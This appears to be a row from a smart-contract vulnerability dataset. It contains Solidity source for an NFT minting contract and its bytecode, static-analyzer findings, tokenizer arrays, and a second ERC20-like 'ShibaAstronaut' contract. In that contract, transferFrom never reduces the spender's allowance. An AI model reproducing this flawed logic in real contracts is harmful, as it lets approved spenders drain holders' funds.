to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract ZodiacSpectraWC is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 70 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 20; bool public paused = true; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { // This will payout the owner 95% of the contract balance. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } }
0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611f63565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611f48565b6106a6565b005b34801561027757600080fd5b506102806106ec565b6040516102409190612170565b34801561029957600080fd5b506102ad6102a8366004611fe6565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f1e565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611e3c565b6109b7565b34801561037557600080fd5b50610310610384366004611f1e565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611e3c565b610b1c565b3480156103bd57600080fd5b506103d16103cc366004611dee565b610b37565b604051610240919061212c565b3480156103ea57600080fd5b506102696103f9366004611fe6565b610bd9565b34801561040a57600080fd5b50610310610419366004611fe6565b610c08565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004611f9d565b610c9b565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004611fe6565b610cdc565b3480156104a357600080fd5b506103106104b2366004611dee565b610d53565b3480156104c357600080fd5b50610269610dda565b3480156104d857600080fd5b506102696104e7366004611fe6565b610e10565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610e3f565b61026961052d366004611fe6565b610e4e565b34801561053e57600080fd5b5061026961054d366004611ef4565b610efb565b34801561055e57600080fd5b50610269610fc0565b34801561057357600080fd5b50610269610582366004611e78565b610ffb565b34801561059357600080fd5b50610280611033565b3480156105a857600080fd5b506102806105b7366004611fe6565b611040565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004611f9d565b6111bf565b3480156105fe57600080fd5b5061023461060d366004611e09565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004611f9d565b6111fc565b34801561066757600080fd5b50610269610676366004611dee565b611239565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a0826112d1565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d0906121d5565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb906122e9565b80601f0160208091040260200160405190810160405280929190818152602001828054610727906122e9565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b60118054610820906122e9565b80601f016020809104026020016040519081016040528092919081815260200182805461084c906122e9565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610cdc565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611321565b505050565b6109c1338261138f565b6109dd5760405162461bcd60e51b81526004016106d09061220a565b6109b2838383611486565b60006109f383610d53565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d0906121d5565b6000610abc600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610b06576040519150601f19603f3d011682016040523d82523d6000602084013e610b0b565b606091505b5050905080610b1957600080fd5b50565b6109b283838360405180602001604052806000815250610ffb565b60606000610b4483610d53565b905060008167ffffffffffffffff811115610b6157610b616123ab565b604051908082528060200260200182016040528015610b8a578160200160208202803683370190505b50905060005b82811015610bd157610ba285826109e8565b828281518110610bb457610bb4612395565b602090810291909101015280610bc981612324565b915050610b90565b509392505050565b600a546001600160a01b03163314610c035760405162461bcd60e51b81526004016106d0906121d5565b600d55565b6000610c1360085490565b8210610c765760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610c8957610c89612395565b90600052602060002001549050919050565b600a546001600160a01b03163314610cc55760405162461bcd60e51b81526004016106d0906121d5565b8051610cd890600b906020840190611cb3565b5050565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610dbe5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610e045760405162461bcd60e51b81526004016106d0906121d5565b610e0e6000611631565b565b600a546001600160a01b03163314610e3a5760405162461bcd60e51b81526004016106d0906121d5565b600f55565b6060600180546106fb906122e9565b6000610e5960085490565b60105490915060ff1615610e6c57600080fd5b60008211610e7957600080fd5b600f54821115610e8857600080fd5b600e54610e95838361225b565b1115610ea057600080fd5b600a546001600160a01b03163314610ecc5781600d54610ec09190612287565b341015610ecc57600080fd5b60015b8281116109b257610ee933610ee4838561225b565b611683565b80610ef381612324565b915050610ecf565b6001600160a01b038216331415610f545760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314610fea5760405162461bcd60e51b81526004016106d0906121d5565b6010805461ff001916610100179055565b611005338361138f565b6110215760405162461bcd60e51b81526004016106d09061220a565b61102d8484848461169d565b50505050565b600c8054610820906122e9565b6000818152600260205260409020546060906001600160a01b03166110bf5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff1661116057601180546110db906122e9565b80601f0160208091040260200160405190810160405280929190818152602001828054611107906122e9565b80156111545780601f1061112957610100808354040283529160200191611154565b820191906000526020600020905b81548152906001019060200180831161113757829003601f168201915b50505050509050919050565b600061116a6116d0565b9050600081511161118a57604051806020016040528060008152506111b8565b80611194846116df565b600c6040516020016111a89392919061202b565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146111e95760405162461bcd60e51b81526004016106d0906121d5565b8051610cd890600c906020840190611cb3565b600a546001600160a01b031633146112265760405162461bcd60e51b81526004016106d0906121d5565b8051610cd8906011906020840190611cb3565b600a546001600160a01b031633146112635760405162461bcd60e51b81526004016106d0906121d5565b6001600160a01b0381166112c85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b610b1981611631565b60006001600160e01b031982166380ac58cd60e01b148061130257506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061135682610cdc565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166114085760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b600061141383610cdc565b9050806001600160a01b0316846001600160a01b0316148061144e5750836001600160a01b03166114438461077e565b6001600160a01b0316145b8061147e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661149982610cdc565b6001600160a01b0316146115015760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115635760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b61156e8383836117dd565b611579600082611321565b6001600160a01b03831660009081526003602052604081208054600192906115a29084906122a6565b90915550506001600160a01b03821660009081526003602052604081208054600192906115d090849061225b565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cd8828260405180602001604052806000815250611895565b6116a8848484611486565b6116b4848484846118c8565b61102d5760405162461bcd60e51b81526004016106d090612183565b6060600b80546106fb906122e9565b6060816117035750506040805180820190915260018152600360fc1b602082015290565b8160005b811561172d578061171781612324565b91506117269050600a83612273565b9150611707565b60008167ffffffffffffffff811115611748576117486123ab565b6040519080825280601f01601f191660200182016040528015611772576020820181803683370190505b5090505b841561147e576117876001836122a6565b9150611794600a8661233f565b61179f90603061225b565b60f81b8183815181106117b4576117b4612395565b60200101906001600160f81b031916908160001a9053506117d6600a86612273565b9450611776565b6001600160a01b0383166118385761183381600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61185b565b816001600160a01b0316836001600160a01b03161461185b5761185b83826119d5565b6001600160a01b038216611872576109b281611a72565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b21565b61189f8383611b65565b6118ac60008484846118c8565b6109b25760405162461bcd60e51b81526004016106d090612183565b60006001600160a01b0384163b156119ca57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061190c9033908990889088906004016120ef565b602060405180830381600087803b15801561192657600080fd5b505af1925050508015611956575060408051601f3d908101601f1916820190925261195391810190611f80565b60015b6119b0573d808015611984576040519150601f19603f3d011682016040523d82523d6000602084013e611989565b606091505b5080516119a85760405162461bcd60e51b81526004016106d090612183565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061147e565b506001949350505050565b600060016119e284610d53565b6119ec91906122a6565b600083815260076020526040902054909150808214611a3f576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a84906001906122a6565b60008381526009602052604081205460088054939450909284908110611aac57611aac612395565b906000526020600020015490508060088381548110611acd57611acd612395565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611b0557611b0561237f565b6001900381819060005260206000200160009055905550505050565b6000611b2c83610d53565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611bbb5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c205760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611c2c600083836117dd565b6001600160a01b0382166000908152600360205260408120805460019290611c5590849061225b565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611cbf906122e9565b90600052602060002090601f016020900481019282611ce15760008555611d27565b82601f10611cfa57805160ff1916838001178555611d27565b82800160010185558215611d27579182015b82811115611d27578251825591602001919060010190611d0c565b50611d33929150611d37565b5090565b5b80821115611d335760008155600101611d38565b600067ffffffffffffffff80841115611d6757611d676123ab565b604051601f8501601f19908116603f01168101908282118183101715611d8f57611d8f6123ab565b81604052809350858152868686011115611da857600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dd957600080fd5b919050565b80358015158114611dd957600080fd5b600060208284031215611e0057600080fd5b6111b882611dc2565b60008060408385031215611e1c57600080fd5b611e2583611dc2565b9150611e3360208401611dc2565b90509250929050565b600080600060608486031215611e5157600080fd5b611e5a84611dc2565b9250611e6860208501611dc2565b9150604084013590509250925092565b60008060008060808587031215611e8e57600080fd5b611e9785611dc2565b9350611ea560208601611dc2565b925060408501359150606085013567ffffffffffffffff811115611ec857600080fd5b8501601f81018713611ed957600080fd5b611ee887823560208401611d4c565b91505092959194509250565b60008060408385031215611f0757600080fd5b611f1083611dc2565b9150611e3360208401611dde565b60008060408385031215611f3157600080fd5b611f3a83611dc2565b946020939093013593505050565b600060208284031215611f5a57600080fd5b6111b882611dde565b600060208284031215611f7557600080fd5b81356111b8816123c1565b600060208284031215611f9257600080fd5b81516111b8816123c1565b600060208284031215611faf57600080fd5b813567ffffffffffffffff811115611fc657600080fd5b8201601f81018413611fd757600080fd5b61147e84823560208401611d4c565b600060208284031215611ff857600080fd5b5035919050565b600081518084526120178160208601602086016122bd565b601f01601f19169290920160200192915050565b60008451602061203e8285838a016122bd565b8551918401916120518184848a016122bd565b8554920191600090600181811c908083168061206e57607f831692505b85831081141561208c57634e487b7160e01b85526022600452602485fd5b8080156120a057600181146120b1576120de565b60ff198516885283880195506120de565b60008b81526020902060005b858110156120d65781548a8201529084019088016120bd565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061212290830184611fff565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561216457835183529284019291840191600101612148565b50909695505050505050565b6020815260006111b86020830184611fff565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561226e5761226e612353565b500190565b60008261228257612282612369565b500490565b60008160001904831182151516156122a1576122a1612353565b500290565b6000828210156122b8576122b8612353565b500390565b60005b838110156122d85781810151838201526020016122c0565b8381111561102d5750506000910152565b600181811c908216806122fd57607f821691505b6020821081141561231e57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561233857612338612353565b5060010190565b60008261234e5761234e612369565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610b1957600080fdfea2646970667358221220d9d7eddd4eefd7231c10f662fea0599cf005f71b7c0c7ece6fc5b7b3db88cd7064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2475, 2063, 2475, 19797, 22932, 18139, 20952, 25746, 16703, 2581, 2497, 16048, 26337, 2050, 2692, 2575, 2581, 2549, 4246, 16409, 2692, 17914, 12376, 2620, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 13266, 2011, 23325, 15000, 2015, 1013, 1008, 1008, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1002, 1002, 1002, 1002, 1032, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1032, 1002, 1002, 1002, 1002, 1002, 1002, 1032, 1032, 1035, 1035, 1035, 1035, 1002, 1002, 1064, 1002, 1002, 1064, 1032, 1035, 1035, 1064, 1002, 1002, 1035, 1035, 1002, 1002, 1032, 1002, 1002, 1035, 1035, 1002, 1002, 1032, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,575
0x9702fb7c9bdd36a26c8d8d223db9343ec4450d83
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.2; contract ShibaAstronaut { mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowance; uint256 public totalSupply = 10 * 10**12 * 10**18; string public name = "Shiba Astronaut"; string public symbol = hex"5348494241f09f91a8e2808df09f9a80"; uint public decimals = 18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() { balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function balanceOf(address owner) public view returns(uint256) { return balances[owner]; } function transfer(address to, uint256 value) public returns(bool) { require(balanceOf(msg.sender) >= value, 'balance too low'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint256 value) public returns(bool) { require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -= value; emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns(bool) { allowance[msg.sender][spender] = value; return true; } }
